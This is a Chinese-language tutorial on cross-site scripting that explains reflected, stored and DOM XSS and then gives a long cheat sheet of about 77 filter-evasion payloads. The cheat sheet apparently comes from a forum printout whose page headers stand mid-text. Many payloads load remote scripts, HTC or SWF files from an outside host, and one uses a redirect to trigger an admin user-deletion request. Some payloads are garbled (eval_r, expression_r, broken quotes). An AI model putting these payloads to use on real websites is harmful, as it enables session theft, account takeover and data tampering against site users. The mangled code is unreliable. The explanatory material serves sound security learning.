XSS全稱是Cross Site Scripting即跨站腳本，當(dāng)目標(biāo)網(wǎng)站目標(biāo)用戶瀏覽器渲染HTML文檔的過程中，出現(xiàn)了不被預(yù)期的腳本指令并執(zhí)行時(shí)，XSS就發(fā)生了。
這里我們主要注意四點(diǎn)：1、目標(biāo)網(wǎng)站目標(biāo)用戶；2、瀏覽器；3、不被預(yù)期；4、腳本。
當(dāng)我們知道了什么是XSS后，也一定很想知道它到底有什么用，或者有什么危害，如何防御。
關(guān)于XSS有關(guān)危害，我這里中羅列一段列表，詳細(xì)介紹不進(jìn)行更多的贅述：
掛馬盜取用戶Cookie。DOS（拒絕服務(wù)）客戶端瀏覽器。釣魚攻擊，高級(jí)的釣魚技巧。刪除目標(biāo)文章、惡意篡改數(shù)據(jù)、嫁禍。劫持用戶Web行為，甚至進(jìn)一步滲透內(nèi)網(wǎng)。爆發(fā)Web2.0蠕蟲。蠕蟲式的DDoS攻擊。蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網(wǎng)上數(shù)據(jù)。。。XSS有三類：反射型XSS(非持久型)、存儲(chǔ)型XSS(持久型)和DOM XSS。
發(fā)出請(qǐng)求時(shí)，XSS代碼出現(xiàn)在URL中，作為輸入提交到服務(wù)器端，服務(wù)器端解析后響應(yīng)，XSS代碼隨響應(yīng)內(nèi)容一起傳回給瀏覽器，最后瀏覽器解析執(zhí)行XSS代碼。這個(gè)過程像一次反射，故叫反射型XSS。
一個(gè)簡(jiǎn)單的例子：
http://www.a.com/xss/reflect.php的代碼如下：
<?phpecho $_GET['x'];?>如果輸入x的值未經(jīng)任何過濾就直接輸出，提交：
http://www.foo.com/xss/reflect.php?x=
則alert()函數(shù)會(huì)在瀏覽器觸發(fā)。
存儲(chǔ)型XSS和反射型XSS的差別僅在于，提交的代碼會(huì)存儲(chǔ)在服務(wù)器端（數(shù)據(jù)庫(kù)，內(nèi)存，文件系統(tǒng)等），下次請(qǐng)求目標(biāo)頁(yè)面時(shí)不用再提交XSS代碼
最典型的例子是留言板XSS，用戶提交一條包含XSS代碼的留言存儲(chǔ)到數(shù)據(jù)庫(kù)，目標(biāo)用戶查看留言板時(shí)，那些留言的內(nèi)容會(huì)從數(shù)據(jù)庫(kù)查詢出來并顯示，瀏覽器發(fā)現(xiàn)有XSS代碼，就當(dāng)做正常的HTML與Js解析執(zhí)行，于是觸發(fā)了XSS攻擊。
DOM XSS和反射型XSS、存儲(chǔ)型XSS的差別在于DOM XSS的代碼并不需要服務(wù)器參與，觸發(fā)XSS靠的是瀏覽器端的DOM解析，完全是客戶端的事情。
http://www.a.com/xss/domxss.html代碼如下：
<script>eval(location.hash.substr(1));</script>觸發(fā)方式為：http://www.a.com/xss/domxss.html#alert(1)
這個(gè)URL#后的內(nèi)容是不會(huì)發(fā)送到服務(wù)器端的，僅僅在客戶端被接收并解執(zhí)行。
常見的輸入點(diǎn)有：
document.URLdocument.URLUnencodeddocument.locationdocument.referrerwindow.locationwindow.namedocument.write(…)
document.writeln(…)
document.body.innerHtml=…
document.forms[0].action…(以及其他集合，如：一些對(duì)象的src/href屬性等)
document.attachEvent(…)
document.create…(…)
document.execCommand(…)
document.body. …(直接通過body對(duì)象訪問DOM)
window.attachEvent(…)
document.location=…(以及直接賦值給location的href,host,hostname屬性)
document.location.hostname=…
document.location.replace(…)
document.location.assign(…)
document.URL=…
window.navigate(…)
document.open(…)
window.open(…)
window.location.href=…(以及直接賦值給location的href,host,hostname屬性)
eval(…)
window.execScript(…)
window.setInterval(…)
window.setTimeout(…)
_____________________________附常見的XSS攻擊方法_________________________________
(1)普通的XSS javaScript注入<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(2)IMG標(biāo)簽XSS使用Javascript命令<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>(3)IMG標(biāo)簽無分號(hào)無引號(hào)<IMG SRC=javascript:alert(‘XSS’)>(4)IMG標(biāo)簽大小寫不敏感<IMG SRC=JaVaScRiPt:alert(‘XSS’)>(5)HTML編碼(必須有分號(hào))<IMG SRC=javascript:alert(“XSS”)>(6)修正缺陷IMG標(biāo)簽<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>(7)formCharCode標(biāo)簽(計(jì)算器)<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>(8)UTF-8的Unicode編碼(計(jì)算器)<IMG SRC=jav..省略..S')>(9)7位的UTF-8的Unicode編碼是沒有分號(hào)的(計(jì)算器)<IMG SRC=jav..省略..S')>(10)十六進(jìn)制編碼也是沒有分號(hào)(計(jì)算器)<IMG SRC=java..省略..XSS')>(11)嵌入式標(biāo)簽,將Javascript分開<IMG SRC=”jav ascript:alert(‘XSS’);”>(12)嵌入式編碼標(biāo)簽,將Javascript分開<IMG SRC=”jav ascript:alert(‘XSS’);”>(13)嵌入式換行符<IMG SRC=”jav ascript:alert(‘XSS’);”>(14)嵌入式回車<IMG SRC=”jav ascript:alert(‘XSS’);”>(15)嵌入式多行注入JavaScript,這是XSS極端的例子<IMG SRC=”javascript:alert(‘XSS‘)”>(16)解決限制字符(要求同頁(yè)面)<script>z=’document.’</script><script>z=z+’write(“‘</script><script>z=z+’<script’</script><script>z=z+’ src=ht’</script><script>z=z+’tp://ww’</script><script>z=z+’w.shell’</script><script>z=z+’.net/1.’</script><script>z=z+’js></sc’</script><script>z=z+’ript>”)’</script><script>eval_r(z)</script>(17)空字符12-7-1 T00LS - Powered by Discuz! Boardhttps://www.t00ls.net/viewthread.php?action=PRintable&tid=15267 2/6perl -e ‘print “<IMG SRC=java/0script:alert(/”XSS/”)>”;’ > out(18)空字符2,空字符在國(guó)內(nèi)基本沒效果.因?yàn)闆]有地方可以利用perl -e ‘print “<SCR/0IPT>alert(/”XSS/”)</SCR/0IPT>”;’ > out(19)Spaces和meta前的IMG標(biāo)簽<IMG SRC=” javascript:alert(‘XSS’);”>(20)Non-alpha-non-digit XSS<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>(21)Non-alpha-non-digit XSS to 2<BODY onload!#$%&()*~+-_.,:;?@[/|/]^`=alert(“XSS”)>(22)Non-alpha-non-digit XSS to 3<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>(23)雙開括號(hào)<<SCRIPT>alert(“XSS”);//<</SCRIPT>(24)無結(jié)束腳本標(biāo)記(僅火狐等瀏覽器)<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>(25)無結(jié)束腳本標(biāo)記2<SCRIPT SRC=//3w.org/XSS/xss.js>(26)半開的HTML/JavaScript XSS<IMG SRC=”javascript:alert(‘XSS’)”(27)雙開角括號(hào)<iframe src=http://3w.org/XSS.html <(28)無單引號(hào) 雙引號(hào) 分號(hào)<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>(29)換碼過濾的JavaScript/”;alert(‘XSS’);//(30)結(jié)束Title標(biāo)簽</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>(31)Input Image<INPUT SRC=”javascript:alert(‘XSS’);”>(32)BODY Image<BODY BACKGROUND=”javascript:alert(‘XSS’)”>(33)BODY標(biāo)簽<BODY(‘XSS’)>(34)IMG Dynsrc<IMG DYNSRC=”javascript:alert(‘XSS’)”>(35)IMG Lowsrc<IMG LOWSRC=”javascript:alert(‘XSS’)”>(36)BGSOUND<BGSOUND SRC=”javascript:alert(‘XSS’);”>(37)STYLE sheet<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>(38)遠(yuǎn)程樣式表<LINK REL=”stylesheet” HREF=”http://3w.org/xss.CSS”>(39)List-style-image(列表式)<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS(40)IMG VBscript<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS(41)META鏈接url<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>(42)Iframe<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>(43)Frame<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Boardhttps://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6(44)Table<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>(45)TD<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>(46)DIV background-image<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>(47)DIV background-image后加上額外字符(1-32&34&39&160&8192-8&13&12288&65279)<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>(48)DIV expression<DIV STYLE=”width: expression_r(alert(‘XSS’));”>(49)STYLE屬性分拆表達(dá)<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>(50)匿名STYLE(組成:開角號(hào)和一個(gè)字母開頭)<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>(51)STYLE background-image<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>(52)IMG STYLE方式exppression(alert(“XSS”))’>(53)STYLE background<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>(54)BASE<BASE HREF=”javascript:alert(‘XSS’);//”>(55)EMBED標(biāo)簽,你可以嵌入Flash,其中包涵XSS<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>(56)在flash中使用ActionScrpt可以混進(jìn)你XSS的代碼a=”get”;b=”URL(/”";c=”javascript:”;d=”alert(‘XSS’);/”)”;eval_r(a+b+c+d);(57)xml namespace.HTC文件必須和你的XSS載體在一臺(tái)服務(wù)器上<HTML xmlns:xss><?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”><xss:xss>XSS</xss:xss></HTML>(58)如果過濾了你的JS你可以在圖片里添加JS代碼來利用<SCRIPT SRC=””></SCRIPT>(59)IMG嵌入式命令,可執(zhí)行任意命令<IMG SRC=”http://www.XXX.com/a.php?a=b”>(60)IMG嵌入式命令(a.jpg在同服務(wù)器)Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser(61)繞符號(hào)過濾<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>(62)<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>(63)<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>(64)<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>(65)<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>(66)12-7-1 T00LS - Powered by Discuz! Boardhttps://www.t00ls.net/viewthread.php?action=printable&tid=15267 4/6<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>(67)<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>(68)URL繞行<A HREF=”http://127.0.0.1/”>XSS</A>(69)URL編碼<A HREF=”http://3w.org”>XSS</A>(70)IP十進(jìn)制<A HREF=”http://3232235521″>XSS</A>(71)IP十六進(jìn)制<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>(72)IP八進(jìn)制<A HREF=”http://0300.0250.0000.0001″>XSS</A>(73)混合編碼<A HREF=”htt p://6 6.000146.0×7.147/”">XSS</A>(74)節(jié)省[http:]<A HREF=”//www.google.com/”>XSS</A>(75)節(jié)省[www]<A HREF=”http://google.com/”>XSS</A>(76)絕對(duì)點(diǎn)絕對(duì)DNS<A HREF=”http://www.google.com./”>XSS</A>(77)javascript鏈接<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>新聞熱點(diǎn)
疑難解答
圖片精選
